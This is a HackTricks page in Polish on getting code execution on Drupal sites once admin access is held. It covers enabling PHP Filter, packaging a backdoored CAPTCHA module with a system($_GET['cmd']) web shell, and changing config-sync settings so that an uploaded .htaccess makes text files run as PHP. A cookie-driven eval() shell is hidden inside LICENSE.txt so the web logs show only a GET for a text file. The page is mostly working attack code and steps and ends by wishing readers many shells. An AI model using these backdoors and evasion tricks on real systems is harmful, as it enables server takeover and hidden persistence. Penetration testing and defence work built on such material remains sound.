Drupal RCE

Support HackTricks

Z modułem PHP Filter

W starszych wersjach Drupala (przed wersją 8), możliwe było zalogowanie się jako administrator i włączenie modułu PHP filter, który "Pozwala na ocenę osadzonego kodu/snippetów PHP." Jednak od wersji 8 ten moduł nie jest instalowany domyślnie.

Musisz mieć zainstalowany plugin php (sprawdź, wchodząc do /modules/php i jeśli zwraca 403, to istnieje, jeśli nie znaleziono, to plugin php nie jest zainstalowany)

Przejdź do Modules -> (Sprawdź) PHP Filter -> Zapisz konfigurację

Następnie kliknij na Dodaj treść -> Wybierz Podstawowa strona lub Artykuł -> Napisz php shellcode w treści -> Wybierz Kod PHP w Formacie tekstu -> Wybierz Podgląd

Na koniec po prostu uzyskaj dostęp do nowo utworzonego węzła:

curl http://drupal-site.local/node/3

Zainstaluj moduł PHP Filter

W aktualnych wersjach nie jest już możliwe instalowanie wtyczek tylko przy dostępie do sieci po domyślnej instalacji.

Od wersji 8 wzwyż, moduł PHP Filter nie jest instalowany domyślnie. Aby skorzystać z tej funkcjonalności, musimy zainstalować moduł samodzielnie.

  1. Pobierz najnowszą wersję modułu ze strony Drupal.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Po pobraniu przejdź do Administracja > Raporty > Dostępne aktualizacje.

  4. Kliknij na Przeglądaj, wybierz plik z katalogu, do którego go pobrano, a następnie kliknij Zainstaluj.

  5. Po zainstalowaniu modułu możemy kliknąć na Treść i utworzyć nową stronę podstawową, podobnie jak zrobiliśmy to w przykładzie Drupal 7. Ponownie upewnij się, że wybrałeś Kod PHP z rozwijanego menu Format tekstu.

Moduł z tylnym dostępem

W aktualnych wersjach nie jest już możliwe instalowanie wtyczek tylko przy dostępie do sieci po domyślnej instalacji.

Moduł z tylnym dostępem można stworzyć przez dodanie powłoki do istniejącego modułu. Moduły można znaleźć na stronie drupal.org. Wybierzmy moduł taki jak CAPTCHA. Przewiń w dół i skopiuj link do archiwum tar.gz archiwum.

  • Pobierz archiwum i wypakuj jego zawartość.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Stwórz PHP web shell z zawartością:

<?php
system($_GET["cmd"]);
?>
  • Następnie musimy utworzyć plik .htaccess, aby uzyskać dostęp do folderu. Jest to konieczne, ponieważ Drupal odmawia bezpośredniego dostępu do folderu /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Powyższa konfiguracja zastosuje zasady dla folderu /, gdy zażądamy pliku w /modules. Skopiuj oba te pliki do folderu captcha i utwórz archiwum.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Zakładając, że mamy dostęp administracyjny do strony, kliknij na Zarządzaj a następnie Rozszerz w pasku bocznym. Następnie kliknij przycisk + Zainstaluj nowy moduł, a zostaniemy przeniesieni na stronę instalacji, taką jak http://drupal-site.local/admin/modules/install. Przeglądaj archiwum z backdoored Captcha i kliknij Zainstaluj.

  • Po pomyślnej instalacji, przejdź do /modules/captcha/shell.php, aby wykonać polecenia.

Backdooring Drupal z synchronizacją konfiguracji

Post udostępniony przez Coiffeur0x90

Część 1 (aktywacja Media i Biblioteka mediów)

W menu Rozszerz (/admin/modules) możesz aktywować to, co wydaje się być już zainstalowanymi wtyczkami. Domyślnie wtyczki Media i Biblioteka mediów nie wydają się być aktywowane, więc aktywujmy je.

Przed aktywacją:

Po aktywacji:

Część 2 (wykorzystanie funkcji Synchronizacja konfiguracji)

Wykorzystamy funkcję Synchronizacja konfiguracji, aby zrzucić (eksportować) i przesłać (importować) wpisy konfiguracji Drupal:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Patch system.file.yml

Zacznijmy od patchowania pierwszego wpisu allow_insecure_uploads z:

Plik: system.file.yml


...

allow_insecure_uploads: false

...

Do:

Plik: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

Następnie, załatw drugi wpis file_extensions z:

Plik: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Do:

Plik: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Nie używam tego w tym wpisie na blogu, ale zauważono, że możliwe jest zdefiniowanie wpisu file_directory w dowolny sposób i że jest on podatny na atak typu path traversal (więc możemy cofnąć się w górę w drzewie systemu plików Drupal).

Część 3 (wykorzystanie funkcji Dodaj dokument)

Ostatni krok jest najprostszy i dzieli się na dwa podkroki. Pierwszy to przesłanie pliku w formacie .htaccess, aby wykorzystać dyrektywy Apache i umożliwić interpretację plików .txt przez silnik PHP. Drugi to przesłanie pliku .txt zawierającego nasz ładunek.

Plik: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Dlaczego ten trik jest fajny?

Ponieważ po umieszczeniu Webshella (który nazwiemy LICENSE.txt) na serwerze WWW, możemy przesyłać nasze polecenia za pomocą $_COOKIE, a w logach serwera WWW pojawi się to jako legalne żądanie GET do pliku tekstowego.

Dlaczego nazywamy nasz Webshell LICENSE.txt?

Po prostu dlatego, że jeśli weźmiemy następujący plik, na przykład core/LICENSE.txt (który już znajduje się w rdzeniu Drupal), mamy plik o długości 339 linii i rozmiarze 17,6 KB, co jest idealne do dodania małego fragmentu kodu PHP w środku (ponieważ plik jest wystarczająco duży).

Plik: Zaktualizowany LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Część 3.1 (prześlij plik .htaccess)

Najpierw wykorzystujemy funkcję Dodaj dokument (/media/add/document), aby przesłać nasz plik zawierający dyrektywy Apache (.htaccess).

Część 3.2 (prześlij plik LICENSE.txt)

Następnie ponownie wykorzystujemy funkcję Dodaj dokument (/media/add/document), aby przesłać Webshell ukryty w pliku licencyjnym.

Część 4 (interakcja z Webshell)

Ostatnia część polega na interakcji z Webshell.

Jak pokazano na poniższym zrzucie ekranu, jeśli ciasteczko oczekiwane przez nasz Webshell nie jest zdefiniowane, otrzymujemy następujący wynik podczas konsultacji pliku za pomocą przeglądarki internetowej.

Gdy atakujący ustawi ciasteczko, może interagować z Webshell i wykonywać dowolne polecenia, które chce.

Jak widać w logach, wygląda na to, że żądany był tylko plik txt.

Dziękujemy za poświęcenie czasu na przeczytanie tego artykułu, mam nadzieję, że pomoże Ci zdobyć kilka shelli.

Wsparcie HackTricks

Last updated